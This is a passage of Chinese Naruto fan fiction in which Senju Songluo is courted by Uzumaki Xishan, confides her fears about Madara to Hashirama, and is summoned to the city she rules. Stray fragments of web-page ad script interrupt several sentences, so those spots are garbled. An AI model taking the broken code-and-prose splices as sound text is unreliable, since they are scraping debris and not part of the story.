但他还是跟了上去,只要发现松萝在路边摊位上的的目光多停留一会儿,他就会把东西买下送给松萝,最后手里东西越来越多,拿不下了才放弃。 松萝无奈地拉他坐到一个茶水铺,问他:“你到底想要做什么?” 奚山面上显示出无辜:“没什么呀,我是在为刚才的事赔罪。” “不需要这么多东西,”她将把玩了一路的珠钗放到桌面,推到他面前,“这珠钗也是,太贵重,我不能要。” 奚山又把珠钗推回去:“这是女子之物,你还给我,我也用不了啊。” 松萝依然推回去:“你可以送给你的妹妹水户。” 奚山再次推回去:“水户的红发已经很艳丽了,不适合,只有你才衬它。” 他这话说得确实有道理,但她也不能这么平白无故收下贵重的东西,于是任东西放在桌面没有动。 这么美丽的珠钗却放在桌上无人要,倒是有点可怜。 一下子就沉寂了下来,两人相对无言。 奚山摩挲着杯子,在内心纠结。 许久他才开口:“真的不考虑一下我吗?” 松萝摇头:“我以为你已经断了这念头。我说过,跟我在一起一定要入赘。” “本来你前天听你这么说的时候我还很疑惑,但是今天跟你打了一场之后我就明白了,你是千手珍贵的木遁使。”他停顿一下,似在回忆,“别人都只知道千手柱间一个木遁使,却不晓得还藏着一位。不过我却是认识的……” 这下轮到松萝震惊了:“什么?”他们什么时候认识的? “确切的说只有我知道她,她并不知道我的存在。” 见他迟迟不说重点,松萝有些焦急。 “四年前,那时我正叛逆的离家出走,误入了千手和宇智波的战场边缘被宇智波的人抓住。你知道的,这标志性的红发,一看就是千手的盟友。我本来以为我死定了,却被一个突然爆发把周围都变成了不知名植物的木遁使给救了。所有人都重伤倒地,我也不例外,但多亏了她我捡回了一条命。 “此后,我对千手和大名鼎鼎的千手柱间充满了好奇,因此当我妹妹受到邀请时,我自愿跟了过来。 “然后,遇见了你。我也很奇怪为什么我第一眼就看到落后扉间大人好几步的你,更是在你吃饭时偷偷地观察你。我也想过我是不是对你一见钟情了,抱歉我觉得你应该不信这个,我也不信,但是今天一战之后我终于明白了。 “你身上有着跟那天爆发的查克拉,跟救了我的那个人一样的气息。四年前,在潼川附近,是你救了我。” 被这庞大的信息量砸晕了的松萝,回忆起他说的地点。 这五年她失控昏迷了两次,一次确实是四年前在潼川附近的林子里。但…… “不是我救了你,那时我…没能控制自己的力量,对四周是无差别进行了攻击,如果你运气差点就会变成死在我手下。是你自己运气好罢了。” “不,如果没有你,我现在也不会坐在这,而是真真正正死在那年冬天。” 松萝皱眉:这事真要扯掰确实难以扯清。 奚山善解人意地将这件事情高高拿起,轻轻放下,然后指着珠钗:“那么救命恩人,您愿意收下这微不足道的谢礼吗?” 此时她确实没了合适的拒绝的理由,于是点点头收下了,末了还问:“你该不会是为了让我收下这个故意说的吧?” 奚山摊手:“但这是事实,早晚要对你‘坦诚’的,救命恩人。” “别,别那么叫我,当不起。”她发现自己是真的斗不过他了。 “那…第一千零一号?” 松萝瞪他一眼:“你才是第一千零一号!” “好吧,只要你开心,我叫什么都可以。” 他真的越来越……油腻了,松萝绝不承认跟他聊天很舒心。 漩涡奚山坐直身体说:“好吧,那让我们继续谈论刚才的问题。” 松萝有点懵,他们刚才还讨论什么问题了? “入赘。” “如果我愿意当千手的上门女婿,你愿意考虑一下我吗?”奚山一点前言也没铺垫,直接进入正题,“与救命之恩和联姻无关,是我心悦你。” 他直视着松萝,收起了嬉笑,瞳孔里只映着一个娇小的身影。 ——他是认真的。 松萝意识到了这一点。这才是他们相识的第三天,他就说他心悦她。 奚山继续说:“‘但我们才认识第三天’是吗?你的脸上的表情明明白白刻着这几个字。不过很可爱。” 他越是认真的夸奖,松萝越是想要后退,面对一个大帅哥这样子,饶是她也忍不住觉得脸微微发热。 “其实我也不相信三天就能让我喜欢上一个人,不过是在遇到你之前。也许多少有对救命恩人日思夜想的移情吧,但我很确定我不是为了报恩那种东西。”他笑得温和,与第一天时的假笑完全不一样,“别有压力,我就是想要一个机会,三天确实太短暂了,你愿意跟我多相处吗?” “我……我不能……” 她发过誓,要帮大哥完成忍界和平的梦想,在这之前不谈恋爱不结婚的……而现在宇智波的族长是斑……她不知道,她真的不知道,最近发生的事情太多了,她还没整理好自己的内心。 “对不起,我不知道。” 奚山先是讶异,然后微笑:“没关系,其实我很高兴,你说的不是‘不愿意’,而是‘不能’,‘不知道’。让我来猜测一下,是因为作为兄长的柱间大人和扉间大人还未成亲,所以最小的你还没考虑到这个的时候吗?” “不是。他们可不是那种古板的人。” “好吧,看来我猜错了,柱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间大人和扉间大人应当是很疼爱你的。” 松萝将茶满上,说:“不过有一点,你说对了,我现在还有许多其它的事情要考虑,没有精力放在这种事上面。” “什么事情那么重要?当然愿不愿意回答看你。” “我没什么好隐瞒的,只是怕你会被吓到。” 对于漩涡奚山一次又一次的“坦诚相告”,松萝确实对他多了很多亲近,因此也愿意分享一些自己的事情给他。 她沾着茶水,在桌上画了一个漩涡。 “听说涡之国只有漩涡一个忍族,不管是王族还是平民,都对漩涡一族抱有敬意,合作共赢。 ” 接着在右边画了一朵大火苗,在里面点上数点水滴。 “但是火之国,幅员辽阔,大名、领主、城主之间相互掣肘,忍族被用作他们战争的工具,不但要在火之国内争斗,还要与邻国打仗,却得不到丝毫尊重连任务金都开始缩水。如今忍界最强的千手和宇智波明明同属于火之国,然而拥有最强战力的火之国比起其它五大国并没有多少优势,那如果……” 她取了一只筷子,将小水滴导到一起,形成一滩小水洼。 “忍族能够联合起来,是否能拥有更好的生活呢?” 奚山听完一阵沉默,然后一开口就直指其中的关键:“就算千手有这个想法,宇智波不可能同意,且不说联合之后有谁来接管两族的指挥权,只怕倒是反而会逼得其他中小忍族联合起来对峙。” “你说的顾虑确实极有可能发生,但是如果因为这样就不开始,那局面永远也不会改变,未来还会有无数的人死在战场上。” 奚山失笑:“……我倒没想到,一个比我还小的女孩子竟然想的都是这些东西而不是珠宝首饰。” 竟然这般有魄力。 “谁说我不想着珠宝首饰了,若我有钱,当真是看什么都想要,最好一天换一套都不重样的。但是,现在想这些有什么用呢,在战场上打扮得再漂亮敌人也不会因此就多一点怜惜。” 她还曾因为长发碍事生过一把剪了的念头,却被柱间和扉间制止了,甚至还说拿柱间现在比她还长的头发举例说一点也不碍事。 “好吧,我明白‘恩人’您的伟大抱负了,但您难道要为您的伟大抱负奉献您的整个青春吗?” 松萝听他又用敬语,听着特别不舒服:“正常说话!奚山大人!” 奚山哀叹一声:“遵命,松萝大人!难道你的两位哥哥也赞成你不谈恋爱不成家的想法吗?既然是好哥哥,难道不应该揽过这些重任,让你能够自由享乐吗?” 他们,当然是不赞成的,只是当年自己放了话,要现在推翻还真有一些拉不下脸……她这个好面子的毛病真是从小到大都没变啊。 “你,你懂什么!他们已经够辛苦的了!” 奚山见她听到哥哥的坏话就炸毛,于是立刻道歉:“是我不懂,我的错,不过我心底是很佩服的,真的。若哪一天千手真的跟宇智波握手言和了,就算我父亲不同意,我逃也要逃过来当第一个追随者。” “噗!”松萝被他逗笑了,这个人为什么这么能屈能伸又这么善解人意啊。 “那就这么说定了!不过我觉得比起你一个人逃过来,倒不如说服整个漩涡一族过来加盟更容易一点。” “你这是太小看我的能力了,我十岁开始就开始离家出走,每一次守卫都没能拦住我。” “那你能活到这么大也是不容易。” 说这松萝想起一件事:“话说,你们这次来是要停留多久?” 30.谈心 奚山也想起了水户的事情,既然柱间大人没有这个意思,其他人似乎也没有什么特别的想法,那他们确实没有停留的必要了,除了他。他只能含糊地说:“唔,并没有特别的期限吧。不过,你想不想随我去涡之国玩?” 松萝听到这个眼睛一亮,但是很快又自我否决。 “去吧,还能有我这个免费导游,反正千手不是刚打完一仗吗,近期内也不可能再有什么大动作。” “涡之国有很多漂亮的湖泊哟,还有宝石山,还有好多好多美食,而且大家也不排外,都很友好的。” 松萝内心挣扎,她其实还挺想出去玩的,不过涡之国那么远的地方她还从来没去过,而且大哥刚接任族长应该很忙,她得留下来帮忙才好。 “或者你不想去涡之国,还可以去汤之国泡温泉,我跟你说过我十岁就开始离家出走了,我去过好多地方呢,都可以当你的导游。” “不行!”松萝忍痛拒绝,付账起身离开。 奚山立刻跟上,缠着她问为什么。 “因为……你太烦人了!” “……” 松萝一直被他缠着跑回了家,进门前迫不得已跟他说“我考虑考虑”,就慌忙进去了。 还能听到身后传来的“那你好好考虑啊”的喊声。 * “回来了?” 松萝循着声音回头,是拎着花洒的大哥,他正站在院子边的小菜圃,土地看上去刚被翻过。 “嗯,大哥这是?” “我在种花,要一起吗?” 松萝走了过去,然后眼尖地看见了放在一旁的白布,是她早上出门时给大哥的礼物,里面装的其实就是花种。她不知道送什么好,但是想起柱间是很喜欢养些小植物的,就去挑了一些花种包在里面。 “大哥把花种在这里?那原本的葱和菜怎么办啊?” “我另外再开个小地方种就行了。” 松萝接过花洒浇了几下就马上被制止了。 “浇太多会发不了芽的。” “好吧,那还有什么我能做的?” 柱间收起小铲子和白布,回答:“都已经种好啦。” 松萝感觉自己过来什么也没干:“……那你还叫我过来!一点都没有参与感。” 柱间没办法,掏出铲子,假装认真地说:“那要不我们把种子翻出来重新种一遍?” 松萝:“……算了吧,那样它们也太可怜了。” 两人往屋子里走去,柱间随口问道:“刚才送你回来的是漩涡奚山?你们先走后去哪儿了,回来得比我们还迟?” “就去茶水铺坐了会儿,聊了会儿天。不过也因此我发现他其实没那么讨厌,跟他聊天还挺有意思的。” 松萝难得碰到闲着的大哥,心里关于宇智波斑的事就又冒了出来,思索着怎么办。可要她坦白跟斑认识,她又开不了这个口。如果不坦白,她要怎么才能不显得奇怪地提起呢? 她陷入了思考,没注意到身边的人也沉默着没有开口。 待两人脱了鞋走上缘侧[1],不约而同地开口。 “大哥……” “松萝……” 两人均是一愣。然后相互谦让起来,“你先说”这话说了不下三遍。 松萝、柱间:…… 还是松萝最后小心翼翼地问:“要不大哥你先说?” 他妥协,两人便走到旁边坐下来。 “我就是想问问……”真要开始问了,柱间又觉得难以启齿,支支吾吾好半天。 午时席间,她跟漩涡奚山有说有笑,瞧着关系不错。毕竟两人刚交完手,有许多话要交流也是正常的,柱间这么告诉自己。 但眼睛还是忍不住往他们的方向飘,然后看到奚山帮她把头发别到耳后,然后逗她的样子,觉得他们过于亲近的同时从漩涡奚山面上看出了对松萝的“不怀好意”。 这是他的直觉,他的直觉一向很准。漩涡奚山绝对对松萝抱有男女之情,虽然看出松萝对他无意,但还是在他的逗乐下一会儿气鼓鼓一会儿刻着担心的样子,他心里就不是很舒服。 刚刚他们回来,他隔着一道墙就听见了谈话声音,听着又温馨又快乐,他还让松萝“考虑一下”,考虑什么呢,考虑要不要跟他在一起吗? 他觉得心里堵得慌,看到松萝都没注意到墙边的自己就往屋子里跑的样子,更是有种被忽略了的难受,就忍不住出声叫住了她。 他这一定是老父亲之心启动了,对着接近自家“闺女”的狼崽子统统都不喜欢,所以才会一会儿酸一会儿堵的。 想到这里,他的问题就自然地问了出来:“你喜不喜欢那个漩涡奚山?” “没有没有,绝对没有!”松萝坚定摇头,她就知道,他们两个前后离席,很容易给人造成误会的啊,“不信的话我让奚山来解释。” 奚山,他们已经可以直呼名字了吗? 柱间在心里吐出一口气,把自己当成老父亲,苦口婆心地说:“你确实长大了,但是外面的男人大多花言巧语,当面一套背后一套。如果你将来喜欢上什么人没有关系,但是一定要告诉大哥,我去帮你查查他的人品,好吗?” 松萝很是惊恐,怎么回事啊,今天大哥的打开方式是不是不太对啊?像个老妈子,总之就是怪怪的。 不过她还是应道:“没问题。” 反正是为了她好,多一个人帮她也没什么坏处,大哥也不像是会过度干涉弟弟妹妹决定的人,她很放心。 得到回答,柱间便放下了心,心中也没有之前那样堵得慌了,给了松萝一个最常见的阳光笑容。 然后就轮到了松萝的事。她本来是想着干脆坦白她认识宇智波斑,但是经过刚才柱间那么反常地一问,松萝也不知道为什么就想避开这个选择,总感觉坦白说了会很麻烦。 “大哥,我听说宇智波现在继位族长的人是你多年前在南贺川交过的好友啊?” 柱间点点头,想起以前在南贺川切磋的时光,在前几日,斑继任宇智波族长的消息也传到了外界:“是的。” “他……是个什么样的人啊?” “怎么突然想起问这个?” “宇智波的族长,你曾经的好友,难道不值得我了解一下吗?” 柱间好笑地摸了把松萝的头顶,然后开始给她描述,不过话里行间都是对斑的赞赏。 松萝只得提醒道:“……大哥,我不是想听他有多厉害,我想知道他是一个什么样的人。既然要想办法与宇智波结盟,总要知道对方族长是什么的性格,想做什么样的事,在乎什么吧?” 柱间点头赞许,然后说:“他是不服输的性格,崇尚强者,但也是向往和平的。他有一个很在乎的亲弟弟泉奈,我也在战场上见过他,扉间可能比我更熟悉他的招式。我们曾经说过想要结束一切战争,然后建立我们的村子,保护好家人。” 这话松萝已经不是第一次听到了。 “可是,这是你们以前还不知道对方的身份时说的,而且这么多年过去,你觉得他心里还这么想吗?” 柱间:“这么多年过去了,我也还是这么想的啊。” “可是大哥,人与人是不一样的。桃华说宇智波斑心狠手辣,冷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 酷无情,别的族人也说他可怕,说他心思深沉……” “松萝,噤言!”柱间颇有些严厉地高声打断,然后又懊恼自己是不是太凶了,恢复温和的语气说,“从他人嘴里了解一个人是很不礼貌的行为。而且你看,族人嘴里的宇智波斑跟我嘴里的是不是不一样?” 是的,不一样。 她认识的斑是个嘴硬心软的傲娇,是个细心周到的同游者,是个大方乱撒钱的大少爷。 可是,桃华嘴里的,柱间回忆里的,跟她记忆中的,是三个完全不一样的人。 自从知道他是战场上那个令人闻风丧胆的宇智波斑之后,她就觉得自己好像从未了解过这个人,她相信他又怀疑他,她担心他又恨他,她完完全全搞不清楚该怎么处理对斑的态度和感情。 千手佛间走后,她已经决定要上主战场,跟柱间和扉间并肩作战,也就是说,总有那么一天,她要在战场上遇见那个人。 战场上最忌犹豫,若他和她兵刃相向,她好怕自己犹豫,拖了大哥的后腿。若他是一个跟桃华叙述的一样的人,她是不是就不需要犹豫了。 松萝不语,在柱间看来就是刚刚被他吓到了的样子,急得挠头道歉:“额刚刚我不是故意的,我不该那么大声。我只是觉得别人既然都没有近距离接触过斑就这么,额,传他的谣言不太好……那个,了解一个人,还是要亲自跟他交往过才知道,再说每个人看人的角度不同就会有不一样的感受对不对……” 他慌乱地解释着,突然肩上一重。 松萝靠着柱间,闭上眼,两行泪就这么流了下来,哽咽的哭腔让柱间心里一紧:“大哥,什么时候才能不用打仗……我好害怕在战场上跟宇智波斑交手……他会不会也毫不犹豫地杀了我……” 柱间一瞬间手忙脚乱起来,抬手要去擦她的眼泪,快要碰到她的脸时又像被电到一样收回,只能在嘴上保证道:“不会的,我会保护你的,你绝对不会有事的……” 柱间不知所措的状态一直持续了很久,直到扉间从背后出现解救了他。 “你们在干什么?” 松萝此时也发泄得差不多了,听到声音擦干眼泪站起来。 扉间这才看到她原来刚刚是在哭。 “大哥,你干什么把松萝弄哭?” 柱间也站起来转过身,辩解道:“我……不是……” 松萝觉得自己现在的样子肯定很难看,就先跑了。 留下柱间一个人面对扉间。 只不过她不知道的是,她走后扉间并没有继续质问,两人反倒讨论起了她。 柱间:“她说怕在战场上跟斑交手被杀死……你说她是不是最近压力太大了?” 扉间:“父亲死后她确实一直怪怪的,我们又确实忽略了她,看来她心里确实攒了很多事,能哭上一场反倒是好的。” 柱间随即想起昨天松萝说的:“我想带她出去散个心,她昨天问我想不想去禺黎城。” 扉间:“去那里?我看也是徒增压力罢了。当城主要烦心的事情可不少。” 柱间:“既然知道她烦心,就只能能多帮一点是一点了。你去年找到的被流放的原将军的参谋送去那里之后怎么样了?” 扉间:“既然送了过去,我就不会再多问。倒是大哥你前几年天天晚上偷偷跑过去帮她凿山开路,别以为我不知道。” “说的好像你没有跑去挖渠放水似的……” “前年你还把那附近的盗贼窝给端了呢……” “去年你还恐吓了想要重新拿回城主之位的前城主的废物旁支呢……” “……” 31.又是被烂桃花缠着的一天 * 漩涡一族的人在千手族地待了一周就前去议事处找柱间告辞。 松萝正好也在,于是就一起把他们送到了千手族地的大门口。她还暗自庆幸,终于可以摆脱漩涡奚山了,这几天他天天一大早就蹲在她家门口,去哪儿都要跟着她,搞得别人看向他俩的目光都变得八卦了起来。 奚山站在门口问他:“真的不跟我去涡之国玩吗?” 松萝想着这也许以后再也见不到他了,回答便委婉了许多:“等族里没有那么忙了,我会去的。” “那好吧。” 所有人寒暄结束,漩涡一行就走了……除了松萝身边的这家伙。 松萝惊愕地推他:“你干嘛?!你怎么还不走?!” 奚山笑眯眯地说:“我等你啊,等你们族里没有那么忙了,带你一起走啊!” “你你你你!”松萝被他的操作秀到了,“你们长老也同意?就放你一个人在这里??” “他有什么不放心的,我离家出走那么多次,就当这次也是离家出走好啦。” 松萝气倒:“我要是你爹,迟早被你给气死!” “哈哈我家老头子再活五十年也不是问题!” 松萝今天学到了一个道理,十岁就能离家出走的家伙,绝对不能低估他的叛逆值。 于是奚山又开始了他早上在族长家宅门口蹲松萝的日常。 又一日,奚山笑脸迎上出门的松萝,将怀里的包子递给她。 松萝无奈地接过,身后柱间和扉间也走了出来,冷冷地看一眼漩涡奚山,大迈步走去族内办公处,一幅眼不见为净的样子。 等他们把上次战事后获得金钱和物资点清楚,再把其他忍族给柱间的邀请,还有旧屋修缮和新哨建设等工作做完,一定要回来找这小子好好“谈一谈”。 他们身上的冷气连松萝都能感受到,她再一次劝奚山:“你不必如此。若想来找我,正常时候便可,不用这么早等在外面。” “真的吗,你不会再像上次一样跑掉吗?我如果不在这个时间等你,根本就找不到你啊。” 听到这话松萝一僵,她确实有逃跑的念头,为了掩饰这个她板起脸来:“你这样是要做什么,用舆论逼得我跟你在一起吗?” 奚山一语就戳破她话里的漏洞:“不是吧,这是在你的地盘诶,你的同胞的舆论也只能逼逼我,还能逼得了你吗,族长大人的妹妹?” “咳咳咳咳咳咳咳,今天天真蓝啊!” “今天做什么?” “修行!” “不是吧,前天也修行,昨天也修行,今天还修行,你是不是个女人啊!” “找死吧你!!” 她确实分了很多时间给修行,时间没有辜负她,查克拉的运用越来越得心应手了,前世的力量也恢复的越来越多了。 修行的时候往往是漩涡奚山靠在石头边歇着,然后点评她: “你这个忍术也太不像样了。” “难道你除了木遁就没有拿得出手的忍术了吗?” “这个手里剑扔得太慢了,我的话就很容易躲开。” 然后松萝恼羞成怒朝他扔去,他俩就会打起来,不过松萝不会用木遁,他也不会用仙人模式,相当于互相练习。 饿了就去饭馆,有一次奚山还让店里的人将厨房借给他秀了一下厨艺,然后问:“怎么样?满不满足你对心上人的厨艺的要求?” 得到一记大白眼。 这日修行到傍晚,他们收拾东西回去路上。 奚山问她“是不是没有那么讨厌他了”。 松萝对这个问题感到很惊讶:“我从来没有讨厌过你,顶多刚开始时觉得你的牺牲论有点讨厌。” 他再接再厉:“那你现在有没有一点喜欢我?” “不好意思,没有。”铁石心肠·松萝毫不留情地回答。 奚山的笑脸瞬间垮掉,坠在后面活像松萝让他受了什么委屈似的。 两人一路走回到松萝的家,眼看就要进门的时候,松萝的手腕突然被握住,身子被大力一拽就抵上了墙,男子气息扑面而来。 奚山的手撑在松萝脑袋两侧,弯下的脑袋离她的鼻子不过一拳距离,他开口时呼吸喷洒到松萝脸上,低沉着声音问:“那现在这样呢?” 松萝没有办法回答她,这个距离这个姿势这张脸,她实在无法控制自己不脸红,是她最近习惯了奚山在身边晃悠,对他放松了警惕,也忘了这张脸她也曾望得失神过。 她深吸一口气,稳住慢慢加快的心跳:“这是作弊!不能算!” 奚山没有生气,而是得意地扬起嘴角:“你没有第一时间推开我诶。” 听得这话,松萝瞪大眼睛,用肩膀朝他狠狠一撞,然后跑进了大门,那身影,还真有几分落荒而逃的意味。 奚山在原地揉着被撞疼的胸口,嘴上是止不住的笑意。不过按她的脾气,明天如果不准备什么赔礼的东西,怕是会生好几天的气。 他一边想着一边转身,然后看到了立在远处的那两兄弟,他礼貌地打了个招呼才离开。 晚上,松萝看到院子里看到柱间和扉间的时候,两人脸黑得跟锅碳似的,她大惊:“怎么了,族里出什么大事了?!” 扉间一拳打向木头人,木头人的脑袋直直飞了出去,阴测测地说:“是啊,族里进了一只狼。” 松萝走过去捡起无辜的木头人脑袋,试图装回去:“什么狼值得你们这样?打跑了不就行了?” 然后她发现这脑袋断了是装不回去了,就用木遁召了一截粗壮的树木出来,拿刀开始削。 没有人回她,她只听得到一阵阵的砰砰声,等到再次抬头时,院子里全是大力柱间砸出来的深坑,一走一个趔趄的那种。 松萝表情瞬间裂开,咆哮道:“你们一个个的都在干什么啊!!有力气拆家的话都给我出去赚!钱!” 她甩出手里的半成品木头人扔给扉间,自己削去! 被甩脸的两人站在院子里,对话内容很是黑暗。 “说是打跑了就行了呢?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “那怎么能够,怎么也得折了四肢绑太阳下暴晒三天再扔出去吧?” “你这也太温柔了,我觉得把五指剁掉,撕烂嘴巴,砍掉肩骨比较好。” “再把脸皮扒了,做成标本如何?” “这种恶心的标本谁会要啊?” “……” * 松萝回到自己的房间,发现了许久不见的身影。 “猫咪老师!你回来了?” 大前年的某一天,一尾说要回沙漠,猫咪老师便跟着一块儿去了。随后大半年没回来,回来后突然说他好像找到了一尾的兄弟们。 从此变成了半只野猫,经常往外跑,美其名曰帮守鹤找他失散多年的兄弟们。 “你这次出去有收获吗?” 猫咪老师抬起眼皮“嗯”了一声。 “这次找到的那只狐狸凶得很,我跟它打了一个多月。” 他低下头舔舔自己的爪子,上面是已经结痂了的伤口。 “你受伤了!”松萝心疼地拉住不让他舔,“受伤了怎么不回来,现在都结痂了,已经错过了用药的最好时机。少舔伤口,容易感染。你想吃什么,我明天给你准备?” 猫咪老师被她一通操作无语到极点,也就只有受伤的时候会有这种待遇了,平常吃什么都要打他,所以他当然不会放过这个机会啦。 “我要九食屋的豆沙包,酿道造家的酒,还要西瓜、烤鱼、烤肉,哦对你再让那小子送点他们那儿的甜食过来,就每种来一份吧。” 前面倒还好,等听到后面,松萝疼惜的心情突然就被别的占据了。 她想起来,猫咪老师去找过斑那么多次,他不知道斑是千手的敌对忍族宇智波的人吗? 她语气平静地问:“猫咪老师,你知道斑姓什么吗?” “啊?你突然问这个干嘛?你又想知道了?” “什么?” “不是你俩拜托我不要说的吗?” 松萝一瞬间怀疑了一下自己的记忆,但她仔细想了一圈之后,确定自己没有拜托过这种事:“我没有说过这种事情。” “你在糊弄我吗!人类的小鬼!”猫咪老师有些生气,“就在你俩第一次写信来回的时候啊!我在他那边接了信跑出去一段路的时候,他又追上来拦住我说不要透露他的忍族,不然你会难过好几天。然后我把信给你送到以后,你又追出来说不要跟斑讲你姓千手,说什么不让他知道比较好。” 猫咪老师不像在说谎,不,他从来不屑于说谎。 他不拘小节,很多事情都不在意,因为对他来说人类的生命太短暂了,所以他是真的不屑于在这种事情上说谎。 松萝觉得自己好像突然坠入了黑色的寒潭,黑黢黢的底部似乎有眼睛在望着她。 她的语气艰难晦涩:“猫咪老师,你有没有想过,那时候‘斑’都不知道我姓千手,怎么会说出如果我知道了会难过,而‘我’又为什么会觉得他不知道比较好呢,难道’我‘觉得他知道我姓千手会发生不好的事情吗?” 32.意外 * “大哥,教我仙人模式吧!” 这日一大早,刚起床的柱间就被松萝大声的宣告吓了一跳。 “可以是可以。”但是,为什么这么突然? 仙人模式之下,感知会放大数倍,用来探知恶意再好不过。这就是松萝想了一晚上想到的办法。虽然不知道那个变成她的人想做什么,防一手总没错。 她志气满满:“就从今天开始吧!” “今天吗?”柱间只纠结了一秒,就做出了翘班的决定,“好!” 他们来到自由训练场。 训练场是族内最大的一块公共区域,被划分为体术、忍术、竞技、自由训练场四块场地。 由于前几日的继任仪式,不少青年被激起了斗志,所以训练场里的人比往常要多上不少。他们看到仰慕的新族长到来,纷纷让出一块儿空地。 “那就开始吧。” “是!”松萝双手紧贴在大腿侧,抬头挺胸,站得笔直,听从“教官”的教诲。 柱间先从介绍开始:“仙人模式非要说的话,跟忍术是完全不一样东西。我们从体内凝练查克拉,再通过结印将查克拉变成不同的属性施放忍术。” “嗯嗯。”不知何时,松萝左侧多了一个男人,他站如一棵松,双目紧盯着千手柱间,一副认真学习的样子。 “而仙人模式则是吸收自然的力量,是从外部来的!” 不知何时,右侧多出一位族姐,闭目点头两下:“原来如此。” 柱间开始提问:“所以,学习仙人模式跟往常也是大不相同。既然是利用自然的力量,最重要的是什么知道吗?” 右侧的右侧多出一位脸熟的族兄高举左手抢答:“理解自然、亲近自然、成为自然!” “没错!”柱间给他比了一个大拇指,“那么……” 他环顾一圈以松萝为中心围起来的自由训练场的大部分的人,问道:“那有没有人能告诉我,如何才能‘成为自然’呢?” 松萝想了一下,说:“是要把自己想……” “想象自己是自然的一部分!” 不知又是哪位族姐,高声盖过了她的回答,松萝不禁回头,看到围在身后的十几个人,无语了一下,却又忍不住微笑。 ——果然大家都会不由自主被他吸引呢。 …… 结果,训练场里的所有人都聚在一起听柱间讲授了一遍经验。他还给每个人发了一株盆栽,并说明“先从亲近自然开始,去感受自然中独特的气息与力量吧”“我就是在种花的过程中领悟仙人模式的”。 松萝:……诡异中又透露着一丝合理。 一群人将柱间心得牢记于心,为学习仙人模式摩拳擦掌的时候,谁也没想到一个问题:柱间式直觉学习法放到普通人身上真的管用吗? * 第二天早上,品尝到翘班的快乐的千手柱间愉快地向松萝发出了邀请。 “我们去修行旅行吧!” 彼时松萝左手抱着盆栽右手正在刷牙,看到兴奋的大哥脸上写着一句话“一时翘班一时爽,一直翘班一直爽。” “修行旅行?” “嗯,”他抹了把脸,“果然要亲近自然的话,还是要多感受一下不同的风景。远一点的地方也没关系,我们过个几天再回来……不然去涡之国也行,那小子不是邀请你了吗,我们在路上修行,顺便把他送回去。”说到最后几个字的时候,柱间越发兴奋,觉得这是个好主意。 松萝一脸惊喜,她其实也想出去玩,不过还是有点犹豫:“大哥你现在是族长了,也能跑出去好几天?” “偷偷跑出去不就行了。” “……扉间会哭的,真的会哭的哦!” 柱间合理分析:“他才不会哭,只会没收我的钱袋罢了。” 但是比起快乐翘班,钱袋子根本不算什么! 然后又用撒娇的语气靠近松萝:“去嘛,去嘛,我最近好累啊,真的需要休息,唉,我头好疼,手也酸,脖子也酸……而且那个小子这么久不回去,家人也该担心他了对不对?” 松萝一向不是很能受得了柱间的猛狗式撒娇,就……完全拒绝不了啊。 “嗯……要不你把奚山叫进来问问?他估计已经等在门口了,其实我觉得他可能还不是很想回家……不过在这里他的地位也确实挺尴尬的,唉,我先去换个衣服,大哥你去把他叫进来坐坐吧,在外面站着也挺累的……” 柱间欢快地目送松萝回房,然后换上假得瘆人的笑容,走到门外,对外面的红发小子说:“进来。” …… 等松萝收拾好自己出来时,看到柱间还穿着白色睡衣,漩涡奚山坐在他对面,看上去不是很愉快,不过在看到松萝出现的时候,又立刻点亮笑容,拿起身边的篮子走向她。 “我挑了许多糕点,不腻的,你应该会喜欢。” 松萝接过,看了看:“怎么这么多?” “是为了昨天的事情赔礼道歉。” 昨天的事情?松萝想了一下才反应过来他指的是什么,昨晚一直想着怎么抓人,她已经把这个忘在脑后了。 松萝满不在乎地说:“没关系啦,我已经不在意了。” 奚山听了脸有点僵住,似乎是有些失落,很快又打起精神:“听说你终于打算去涡之国玩啦?” “嗯,我跟大哥去放松一下。” 奚山内心咬牙切齿,面上还是装得和煦,三人一起讨论出发时间和需要准备的东西。 柱间笑眯眯地参与讨论,心里想着终于有机会把这个小子送走了。 而笑嘻嘻的奚山心里想的是:那天一定要闹出点动静让千手的人发现,这样就是他和松萝的二人世界了。 远在天边的扉间一个人对着成山的情报焦头烂额中…… * 然而,三人兴冲冲收拾好行李准备偷跑的那一天,一只灰鹰载着信件飞进了千手最里面的宅子。 这是松萝专门养的一只灰鹰,头顶有一撮白色的毛,放哨的人认得,所以没有阻拦。 此时三个人已经聚在了宅子里,背着行囊。 灰鹰停留在松萝绑了束带的小臂上,这是她为了与禺黎城定期联络养的。 松萝抱歉地对两人笑笑,她忘了今天是每个月的送信日,不过应当不会有什么大事,直到她展开信件扫了一眼,神情凝重地抬头: “抱歉,我去不了涡之国了。” “我要去禺黎城。” 柱间和漩涡奚山连忙说他们也一起去,对前者松萝自是同意,至于漩涡奚山…… “好。我相信你。” 以他们的脚程只需半日,因此他们下午就抵达了,然后直奔城堡。 松萝的脸虽然没有传到全城,但城堡守卫都是认识的,于是恭敬喊了一声“城主”,将三人放了进去。 漩涡奚山听到这称呼有点怀疑自己的耳朵,对着松萝问:“他们是在对着你叫城主??” 松萝头一次见到他这样不敢置信的表情,也忍不住放松了点打趣他:“是啊,怕不怕,在这里对我不尊重的话会被抓起来哦。” “可是,你不是一个忍者,一个千手吗,你怎么会……” 松萝:“唉,就是小时候路过,捡了一座半死不活的城,养着养着就养活了呗。” 这时,代替她治理城中事务的原将军的谋士向他们走来。 他面上虽然焦急,但不忘行礼,从都城来的他就是比较拘泥于这方面:“城主大人,这边请。” 众人在议事厅落座。 松萝这次学聪明了,先示意大哥感知了一番周边房间,然后才开始议事。 倒是奚山皱了皱眉,他刚刚感觉千手柱间突然进入了仙人模式,但是只有一瞬。 自从改道来了圩城,他怎么觉得事情走向越来越离谱了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 森之千手族长的妹妹居然是一城之主,还是好多年前开始的?是他太孤陋寡闻了吗?居然有忍者能当城主?还是一个比他更小的女孩?好吧,他不能否认,这个比他更小的女忍者比他强,比他有抱负,但是拥有一座城这也太夸张了吧? “城主大人,这是都城来的书信。” 